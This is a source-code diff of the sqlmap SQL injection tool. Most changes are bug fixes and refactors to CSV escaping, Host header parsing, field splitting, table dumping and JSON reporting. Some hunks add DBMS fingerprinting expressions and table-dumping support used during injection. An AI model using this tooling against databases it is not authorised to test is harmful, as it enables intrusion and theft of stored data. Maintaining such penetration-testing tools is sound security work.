+                    _stripped = re.sub(r"\A\w+", "", payload)
+                    if _stripped:
+                        retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER)
 
                     if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
                         regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))
@@ -4274,7 +4401,10 @@ def safeSQLIdentificatorNaming(name, isTable=False):
     '[begin]'
     >>> getText(safeSQLIdentificatorNaming("foobar"))
     'foobar'
-    >>> kb.forceDbms = popValue()
+    >>> kb.forcedDbms = DBMS.FIREBIRD
+    >>> getText(safeSQLIdentificatorNaming("foo bar"))
+    '"foo bar"'
+    >>> kb.forcedDbms = popValue()
     """
 
     retVal = name
@@ -4294,9 +4424,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
             if not conf.noEscape:
                 retVal = unsafeSQLIdentificatorNaming(retVal)
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                     retVal = "`%s`" % retVal
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
                     retVal = "\"%s\"" % retVal
                 elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                     retVal = "\"%s\"" % retVal.upper()
@@ -4333,9 +4463,9 @@ def unsafeSQLIdentificatorNaming(name):
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
             retVal = name.replace("\"", "")
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
             retVal = name.replace("\"", "").upper()
@@ -4481,14 +4611,20 @@ def safeCSValue(value):
     '"foo, bar"'
     >>> safeCSValue('foobar')
     'foobar'
+    >>> safeCSValue('foo\\rbar')
+    '"foo\\rbar"'
+    >>> safeCSValue('foo"bar') == '"foo""bar"'
+    True
     """
 
     retVal = value
 
+    # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an
+    # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose
+    # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"')
     if retVal and isinstance(retVal, six.string_types):
-        if not (retVal[0] == retVal[-1] == '"'):
-            if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')):
-                retVal = '"%s"' % retVal.replace('"', '""')
+        if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')):
+            retVal = '"%s"' % retVal.replace('"', '""')
 
     return retVal
 
@@ -4520,8 +4656,6 @@ def randomizeParameterValue(value):
 
     retVal = value
 
-    retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal)
-
     def _replace_upper(match):
         original = match.group()
         while True:
@@ -4543,9 +4677,15 @@ def randomizeParameterValue(value):
             if candidate != original:
                 return candidate
 
-    retVal = re.sub(r"[A-Z]+", _replace_upper, retVal)
-    retVal = re.sub(r"[a-z]+", _replace_lower, retVal)
-    retVal = re.sub(r"[0-9]+", _replace_digit, retVal)
+    def _randomize(segment):
+        segment = re.sub(r"[A-Z]+", _replace_upper, segment)
+        segment = re.sub(r"[a-z]+", _replace_lower, segment)
+        segment = re.sub(r"[0-9]+", _replace_digit, segment)
+        return segment
+
+    # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters;
+    # deleting (or randomizing) the %XX would change the value's decoded content and byte length
+    retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal))
 
     if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
         parts = retVal.split('.')
@@ -4760,11 +4900,15 @@ def findPageForms(content, url, raiseException=False, addToTargets=False):
                 retVal.add(target)
 
     for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
-        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        try:
+            url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        except ValueError:
+            continue
+
         data = ""
 
-        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
-            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)):
+            data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER)
 
         data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
         retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
@@ -4829,6 +4973,10 @@ def getHostHeader(url):
 
     >>> getHostHeader('http://www.target.com/vuln.php?id=1')
     'www.target.com'
+    >>> getHostHeader('http://[::1]:8080/vuln.php?id=1')
+    '[::1]:8080'
+    >>> getHostHeader('http://[::1]/vuln.php?id=1')
+    '[::1]'
     """
 
     retVal = url
@@ -4836,10 +4984,11 @@ def getHostHeader(url):
     if url:
         retVal = _urllib.parse.urlparse(url).netloc
 
-        if re.search(r"http(s)?://\[.+\]", url, re.I):
-            retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
-        elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
-            retVal = retVal.split(':')[0]
+        # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are
+        # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports
+        # (e.g. '[::1]:8080') as required by RFC 7230
+        if any(retVal.endswith(':%d' % _) for _ in (80, 443)):
+            retVal = retVal[:retVal.rfind(':')]
 
     if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')):
         retVal = "[%s]" % retVal
@@ -4935,7 +5084,14 @@ def incrementCounter(technique):
     Increments query counter for a given technique
     """
 
-    kb.counters[technique] = getCounter(technique) + 1
+    # Note: the read-modify-write must be atomic since worker threads increment concurrently;
+    # guard with the shared 'count' lock when available (it is absent in isolated/doctest use)
+    lock = kb.locks.count if kb.get("locks") else None
+    if lock is not None:
+        with lock:
+            kb.counters[technique] = getCounter(technique) + 1
+    else:
+        kb.counters[technique] = getCounter(technique) + 1
 
 def getCounter(technique):
     """
@@ -5237,10 +5393,21 @@ def zeroDepthSearch(expression, value):
     retVal = []
 
     depth = 0
-    for index in xrange(len(expression)):
-        if expression[index] == '(':
+    quote = None
+    index = 0
+    while index < len(expression):
+        char = expression[index]
+        if quote:  # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y')
+            if char == quote:
+                if index + 1 < len(expression) and expression[index + 1] == quote:  # escaped quote (e.g. '')
+                    index += 1
+                else:
+                    quote = None
+        elif char in ('"', "'"):
+            quote = char
+        elif char == '(':
             depth += 1
-        elif expression[index] == ')':
+        elif char == ')':
             depth -= 1
         elif depth == 0:
             if value.startswith('[') and value.endswith(']'):
@@ -5248,6 +5415,7 @@ def zeroDepthSearch(expression, value):
                     retVal.append(index)
             elif expression[index:index + len(value)] == value:
                 retVal.append(index)
+        index += 1
 
     return retVal
 
@@ -5257,14 +5425,45 @@ def splitFields(fields, delimiter=','):
 
     >>> splitFields('foo, bar, max(foo, bar)')
     ['foo', 'bar', 'max(foo,bar)']
+    >>> splitFields("a, 'b, c', d")
+    ['a', "'b, c'", 'd']
+    >>> splitFields('a; b; max(c; d)', delimiter=';')
+    ['a', 'b', 'max(c;d)']
     """
 
-    fields = fields.replace("%s " % delimiter, delimiter)
-    commas = [-1, len(fields)]
-    commas.extend(zeroDepthSearch(fields, ','))
-    commas = sorted(commas)
+    # collapse "<delimiter> " -> "<delimiter>" but only OUTSIDE quoted string literals, so a
+    # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch)
+    normalized = []
+    quote = None
+    index = 0
+    while index < len(fields):
+        char = fields[index]
+        if quote:
+            normalized.append(char)
+            if char == quote:
+                if index + 1 < len(fields) and fields[index + 1] == quote:  # escaped quote (e.g. '')
+                    normalized.append(fields[index + 1])
+                    index += 2
+                    continue
+                else:
+                    quote = None
+        elif char in ('"', "'"):
+            quote = char
+            normalized.append(char)
+        elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ':
+            normalized.append(char)  # keep the delimiter, drop the single trailing space
+            index += 2
+            continue
+        else:
+            normalized.append(char)
+        index += 1
 
-    return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])]
+    fields = "".join(normalized)
+    splits = [-1, len(fields)]
+    splits.extend(zeroDepthSearch(fields, delimiter))
+    splits = sorted(splits)
+
+    return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])]
 
 def pollProcess(process, suppress_errors=False):
     """
@@ -5423,8 +5622,10 @@ def parseRequestFile(reqFile, checkParams=True):
                     key, value = line.split(":", 1)
                     value = value.strip().replace("\r", "").replace("\n", "")
 
-                    # Note: overriding values with --headers '...'
-                    match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
+                    # Note: overriding values with --headers '...'; the lookbehind prevents the key
+                    # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host'
+                    # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header
+                    match = re.search(r"(?i)(?<![\w-])(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
                     if match:
                         key, value = match.groups()
 
@@ -5547,7 +5748,12 @@ def unsafeVariableNaming(value):
     """
 
     if value.startswith(EVALCODE_ENCODED_PREFIX):
-        value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
+        # Note: the suffix is only hex when produced by safeVariableNaming(); a user-defined
+        # name that merely happens to start with the prefix (e.g. via --eval) is left intact
+        try:
+            value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
+        except (binascii.Error, ValueError, TypeError):
+            pass
 
     return value
 
@@ -5646,3 +5852,28 @@ def checkSums():
                     break
 
     return retVal
+
+def safeCompareStrings(a, b):
+    """
+    Constant-time string comparison to prevent timing attacks.
+    >>> safeCompareStrings("test", "test")
+    True
+    >>> safeCompareStrings("test", None)
+    False
+    >>> safeCompareStrings("test1", "test2")
+    False
+    """
+    if a is None or b is None:
+        return a == b
+
+    if hasattr(hmac, "compare_digest"):
+        return hmac.compare_digest(a, b)
+
+    # Fallback for Python < 2.7.7 and < 3.3
+    if len(a) != len(b):
+        return False
+
+    result = 0
+    for x, y in zip(a, b):
+        result |= ord(x) ^ ord(y)
+    return result == 0

lib/core/compat.py

@@ -280,40 +280,30 @@ else:
     xrange = xrange
     buffer = buffer
 
+try:
+    RecursionError = RecursionError
+except NameError:
+    # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5)
+    RecursionError = RuntimeError
+
 def LooseVersion(version):
     """
     >>> LooseVersion("1.0") == LooseVersion("1.0")
     True
     >>> LooseVersion("1.0.1") > LooseVersion("1.0")
     True
-    >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1")
-    True
     >>> LooseVersion("1.0.11") < LooseVersion("1.0.111")
     True
-    >>> LooseVersion("foobar") > LooseVersion("1.0")
-    False
-    >>> LooseVersion("1.0") > LooseVersion("foobar")
-    False
-    >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3")
+    >>> LooseVersion("8.0.22") > LooseVersion("8.0.2")
     True
-    >>> LooseVersion("8.0.22-0ubuntu0.20.04.2")
-    8.000022
+    >>> LooseVersion("1.0alpha-beta-gama")
+    (1, 0)
     """
-
     match = re.search(r"\A(\d[\d.]*)", version or "")
-
     if match:
-        result = 0
-        value = match.group(1)
-        weight = 1.0
-        for part in value.strip('.').split('.'):
-            if part.isdigit():
-                result += int(part) * weight
-            weight *= 1e-3
+        return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit())
     else:
-        result = float("NaN")
-
-    return result
+        return ()
 
 # NOTE: codecs.open re-implementation (deprecated in Python 3.14)
 

lib/core/convert.py

@@ -35,9 +35,11 @@ from thirdparty.six.moves import html_parser
 from thirdparty.six.moves import collections_abc as _collections
 
 try:
-    from html import escape as htmlEscape
+    from html import escape as _escape
 except ImportError:
-    from cgi import escape as htmlEscape
+    from cgi import escape as _escape
+
+htmlEscape = _escape
 
 def base64pickle(value):
     """
@@ -45,6 +47,8 @@ def base64pickle(value):
 
     >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
     True
+    >>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray)
+    True
     """
 
     retVal = None
@@ -283,6 +287,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
 
     >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar"
     True
+    >>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt"
+    True
     """
 
     retVal = value
@@ -316,7 +322,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
                 retVal = value.encode(UNICODE_ENCODING, errors="replace")
 
             if unsafe:
-                retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
+                retVal = re.sub(b"(?<!\\\\)\\\\x([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), retVal)
+                retVal = retVal.replace(b"\\\\x", b"\\x")
 
     return retVal
 
@@ -412,6 +419,8 @@ def stdoutEncode(value):
     Returns textual representation of a given value safe for writing to stdout
     >>> stdoutEncode(b"foobar")
     'foobar'
+    >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"}
+    True
     """
 
     if value is None:
@@ -437,7 +446,8 @@ def stdoutEncode(value):
         if isinstance(value, (bytes, bytearray)):
             value = getUnicode(value, encoding)
         elif not isinstance(value, str):
-            value = str(value)
+            # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054
+            return value
 
         try:
             retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace")
@@ -454,6 +464,9 @@ def stdoutEncode(value):
 
     return retVal
 
+# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7)
+_HAS_ISASCII = hasattr(str, "isascii")
+
 def getConsoleLength(value):
     """
     Returns console width of unicode values
@@ -465,7 +478,15 @@ def getConsoleLength(value):
     """
 
     if isinstance(value, six.text_type):
-        retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
+        # Fast path: ASCII values have no wide (>= U+3000) characters, so their
+        # console width is simply their length. str.isascii() (Python 3.7+) is a
+        # C-level scan, far cheaper than the per-character generator below (which
+        # stays for the rare wide-character case and for Python 2). This runs
+        # once per dumped cell, so it dominates large table dumps.
+        if _HAS_ISASCII and value.isascii():
+            retVal = len(value)
+        else:
+            retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
     else:
         retVal = len(value)
 

lib/core/datatype.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 import copy
 import threading
-import types
 
 from thirdparty.odict import OrderedDict
 from thirdparty.six.moves import collections_abc as _collections
@@ -38,6 +37,8 @@ class AttribDict(dict):
         Maps values to attributes
         Only called if there *is NOT* an attribute with this name
         """
+        if item.startswith('__') and item.endswith('__'):
+             raise AttributeError(item)
 
         try:
             return self.__getitem__(item)
@@ -149,7 +150,7 @@ class LRUDict(object):
     def get(self, key, default=None):
         try:
             return self.__getitem__(key)
-        except:
+        except (KeyError, TypeError):
             return default
 
     def __setitem__(self, key, value):

lib/core/decorators.py

@@ -59,15 +59,19 @@ def cachedmethod(f):
                     return cache[key]
 
         except TypeError:
-            # Note: fallback (slowpath(
-            if kwargs:
-                key = (_freeze(args), _freeze(kwargs))
-            else:
-                key = _freeze(args)
+            # Note: fallback (slow-path) for unhashable arguments
+            try:
+                if kwargs:
+                    key = (_freeze(args), _freeze(kwargs))
+                else:
+                    key = _freeze(args)
 
-            with lock:
-                if key in cache:
-                    return cache[key]
+                with lock:
+                    if key in cache:
+                        return cache[key]
+            except TypeError:
+                # Note: genuinely uncacheable arguments; skip caching altogether
+                return f(*args, **kwargs)
 
         result = f(*args, **kwargs)
 

lib/core/dicts.py

@@ -40,6 +40,7 @@ from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import CLICKHOUSE_ALIASES
 from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -252,6 +253,7 @@ DBMS_DICT = {
     DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
     DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
     DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
+    DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
 }
 
 # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -284,14 +286,15 @@ HEURISTIC_NULL_EVAL = {
     DBMS.PRESTO: "FROM_HEX(NULL)",
     DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
     DBMS.MIMERSQL: "ASCII_CHAR(256)",
-    DBMS.CRATEDB: "MD5(NULL~NULL)",  # NOTE: NULL~NULL also being evaluated on H2 and Ignite
+    DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL",  # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval
     DBMS.CUBRID: "(NULL SETEQ NULL)",
-    DBMS.CACHE: "%SQLUPPER NULL",
+    DBMS.CACHE: "%EXACT(NULL)",  # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here
     DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
     DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
     DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
     DBMS.CLICKHOUSE: "halfMD5(NULL)",
     DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
+    DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
 }
 
 SQL_STATEMENTS = {
@@ -424,6 +427,8 @@ PART_RUN_CONTENT_TYPES = {
     "dumpTable": CONTENT_TYPE.DUMP_TABLE,
     "search": CONTENT_TYPE.SEARCH,
     "sqlQuery": CONTENT_TYPE.SQL_QUERY,
+    "getStatements": CONTENT_TYPE.STATEMENTS,
+    "getProcs": CONTENT_TYPE.PROCEDURES,
     "tableExists": CONTENT_TYPE.COMMON_TABLES,
     "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
     "readFile": CONTENT_TYPE.FILE_READ,

lib/core/dump.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import hashlib
+import json
 import os
 import re
 import shutil
@@ -14,6 +15,7 @@ import threading
 
 from lib.core.common import Backend
 from lib.core.common import checkFile
+from lib.core.common import clearColors
 from lib.core.common import dataToDumpFile
 from lib.core.common import dataToStdout
 from lib.core.common import filterNone
@@ -30,6 +32,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
 from lib.core.convert import getConsoleLength
+from lib.core.convert import stdoutEncode
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlEscape
@@ -59,6 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
 from lib.utils.safe2bin import safechardecode
 from thirdparty import six
 from thirdparty.magic import magic
+from thirdparty.odict import OrderedDict
 
 class Dump(object):
     """
@@ -90,12 +94,25 @@ class Dump(object):
             except IOError as ex:
                 errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
                 raise SqlmapGenericException(errMsg)
-
-            if multiThreadMode:
-                self._lock.release()
+            finally:
+                if multiThreadMode:
+                    self._lock.release()
 
         kb.dataOutputFlag = True
 
+    def _reportData(self, data, content_type):
+        """
+        --report-json: capture a structured result exactly as the REST API would store it (the raw
+        value + COMPLETE status), independent of console/file rendering. No-op unless a report
+        collector is active - which is only ever the case for a CLI --report-json run, never under
+        --api - so this never double-captures alongside StdDbOut. A None content_type is resolved
+        via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly.
+        """
+
+        if conf.get("reportCollector") is not None:
+            from lib.utils.api import _storeData, REPORT_TASKID
+            _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type)
+
     def flush(self):
         if self._outputFP:
             try:
@@ -116,9 +133,12 @@ class Dump(object):
             raise SqlmapGenericException(errMsg)
 
     def singleString(self, data, content_type=None):
+        self._reportData(data, content_type)
         self._write(data, content_type=content_type)
 
     def string(self, header, data, content_type=None, sort=True):
+        self._reportData(data, content_type)
+
         if conf.api:
             self._write(data, content_type=content_type)
 
@@ -153,6 +173,8 @@ class Dump(object):
             except:
                 pass
 
+        self._reportData(elements, content_type)
+
         if conf.api:
             self._write(elements, content_type=content_type)
 
@@ -194,6 +216,9 @@ class Dump(object):
     def statements(self, statements):
         self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS)
 
+    def procedures(self, procedures):
+        self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
+
     def userSettings(self, header, userSettings, subHeader, content_type=None):
         self._areAdmins = set()
 
@@ -204,6 +229,8 @@ class Dump(object):
         users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
+        self._reportData(userSettings, content_type)
+
         if conf.api:
             self._write(userSettings, content_type=content_type)
 
@@ -237,6 +264,8 @@ class Dump(object):
 
     def dbTables(self, dbTables):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
+            self._reportData(dbTables, CONTENT_TYPE.TABLES)
+
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
 
@@ -279,6 +308,8 @@ class Dump(object):
 
     def dbTableColumns(self, tableColumns, content_type=None):
         if isinstance(tableColumns, dict) and len(tableColumns) > 0:
+            self._reportData(tableColumns, content_type)
+
             if conf.api:
                 self._write(tableColumns, content_type=content_type)
 
@@ -290,22 +321,25 @@ class Dump(object):
                     maxlength1 = 0
                     maxlength2 = 0
 
-                    colType = None
-
                     colList = list(columns.keys())
                     colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
+                    # Note: decide the layout by whether ANY column carries a type, not by the last
+                    # column iterated; otherwise a mixed table (some columns typed, some not) whose
+                    # alphabetically-last column is type-less renders a header/body column mismatch
+                    hasType = any(columns[_] is not None for _ in colList)
+
                     for column in colList:
                         colType = columns[column]
 
                         column = unsafeSQLIdentificatorNaming(column)
-                        maxlength1 = max(maxlength1, len(column or ""))
-                        maxlength2 = max(maxlength2, len(colType or ""))
+                        maxlength1 = max(maxlength1, getConsoleLength(column or ""))
+                        maxlength2 = max(maxlength2, getConsoleLength(colType or ""))
 
                     maxlength1 = max(maxlength1, len("COLUMN"))
                     lines1 = "-" * (maxlength1 + 2)
 
-                    if colType is not None:
+                    if hasType:
                         maxlength2 = max(maxlength2, len("TYPE"))
                         lines2 = "-" * (maxlength2 + 2)
 
@@ -316,17 +350,15 @@ class Dump(object):
                     else:
                         self._write("[%d columns]" % len(columns))
 
-                    if colType is not None:
+                    if hasType:
                         self._write("+%s+%s+" % (lines1, lines2))
                     else:
                         self._write("+%s+" % lines1)
 
                     blank1 = " " * (maxlength1 - len("COLUMN"))
 
-                    if colType is not None:
+                    if hasType:
                         blank2 = " " * (maxlength2 - len("TYPE"))
-
-                    if colType is not None:
                         self._write("| Column%s | Type%s |" % (blank1, blank2))
                         self._write("+%s+%s+" % (lines1, lines2))
                     else:
@@ -337,21 +369,24 @@ class Dump(object):
                         colType = columns[column]
 
                         column = unsafeSQLIdentificatorNaming(column)
-                        blank1 = " " * (maxlength1 - len(column))
+                        blank1 = " " * (maxlength1 - getConsoleLength(column))
 
-                        if colType is not None:
-                            blank2 = " " * (maxlength2 - len(colType))
+                        if hasType:
+                            colType = colType or ""
+                            blank2 = " " * (maxlength2 - getConsoleLength(colType))
                             self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
                         else:
                             self._write("| %s%s |" % (column, blank1))
 
-                    if colType is not None:
+                    if hasType:
                         self._write("+%s+%s+\n" % (lines1, lines2))
                     else:
                         self._write("+%s+\n" % lines1)
 
     def dbTablesCount(self, dbTables):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
+            self._reportData(dbTables, CONTENT_TYPE.COUNT)
+
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
 
@@ -410,14 +445,19 @@ class Dump(object):
             db = "All"
         table = tableValues["__infos__"]["table"]
 
+        safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
+        safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
+
+        self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE)
+
         if conf.api:
             self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
 
         try:
-            dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
+            dumpDbPath = os.path.join(conf.dumpPath, safeDb)
         except UnicodeError:
             try:
-                dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db)))
+                dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb))
             except (UnicodeError, OSError):
                 tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
                 warnMsg = "currently unable to use regular dump directory. "
@@ -427,16 +467,14 @@ class Dump(object):
                 dumpDbPath = tempDir
 
         if conf.dumpFormat == DUMP_FORMAT.SQLITE:
-            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
-        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
+            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb))
+        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
             if not os.path.isdir(dumpDbPath):
                 try:
                     os.makedirs(dumpDbPath)
                 except:
                     warnFile = True
-
-                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
-                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))
+                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8]))
 
                     if not os.path.isdir(dumpDbPath):
                         try:
@@ -450,7 +488,8 @@ class Dump(object):
 
                             dumpDbPath = tempDir
 
